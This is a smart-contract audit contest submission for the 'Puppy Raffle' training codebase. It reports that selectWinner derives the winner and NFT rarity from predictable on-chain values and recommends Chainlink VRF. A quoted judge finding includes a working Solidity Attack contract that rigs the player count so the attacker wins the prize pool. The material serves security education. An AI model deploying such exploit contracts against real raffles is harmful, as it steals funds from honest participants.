Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak randomness in PuppyRaffle::selectWinner lets anyone predict or force the winner and puppy rarity

tray198

Weak randomness in PuppyRaffle::selectWinner lets anyone predict or force the winner and puppy rarity

Description

  • Normal behavior: selectWinner should choose the raffle winner (and assign the minted puppy's rarity) unpredictably, so that no participant can know or influence the outcome before the transaction is mined.

  • Specific issue: the winner index and the rarity are derived entirely from on-chain values that are known or controllable at call time — msg.sender, block.timestamp, and block.difficulty (aliased to prevrandao post-merge). Because these are readable off-chain and influenceable by block producers, the "random" result is fully predictable and manipulable.

function selectWinner() external {
// ...
// @> winner is derived from predictable / caller-controlled on-chain data
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
// ...
// @> the puppy's rarity uses the same weak source
uint256 rarity =
uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
// ...
}

Risk

Likelihood:

  • Occurs on every call to selectWinner, since all inputs (msg.sender, block.timestamp, block.difficulty/prevrandao) are available to the caller in the same block and can be reproduced off-chain.

  • A participant can compute the outcome before sending the transaction and only call when it selects them; a validator/miner can additionally tune block.timestamp/prevrandao or drop unfavorable blocks.

Impact:

  • An attacker can guarantee they win the entire ETH prize pool and mint the rarest puppy NFT, taking value from every honest participant.

  • The raffle's core guarantee of fairness is completely broken.

Proof of Concept

  1. The attacker is one of the entered players and prepares to call selectWinner.

  2. Off-chain, the attacker computes uint256(keccak256(abi.encodePacked(attacker, block.timestamp, block.difficulty))) % players.length for the block they will target.

  3. If that equals the attacker's own index they call selectWinner and win; otherwise they wait for/shape a favorable block (or simply revert and retry), so they only ever win — and can bias rarity the same way to mint a Legendary puppy.

// Any actor can reproduce, in a view call, the exact selection selectWinner() will make:
function predictWinner(address caller) external view returns (uint256 winnerIndex, uint256 rarity) {
winnerIndex = uint256(keccak256(abi.encodePacked(caller, block.timestamp, block.difficulty))) % players.length;
rarity = uint256(keccak256(abi.encodePacked(caller, block.difficulty))) % 100;
}
// Calling selectWinner() only when predictWinner(attacker).winnerIndex == attackerIndex guarantees a win.

Recommended Mitigation

Never derive randomness from on-chain values such as block.timestamp, block.difficulty/prevrandao, or msg.sender. Use a verifiable, tamper-resistant oracle such as Chainlink VRF: request randomness in one transaction and finish winner/rarity selection in the VRF callback with the returned random words.

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
- uint256 rarity =
- uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ // In fulfillRandomWords(uint256, uint256[] memory randomWords):
+ uint256 winnerIndex = randomWords[0] % players.length;
+ uint256 rarity = randomWords[0] % 100;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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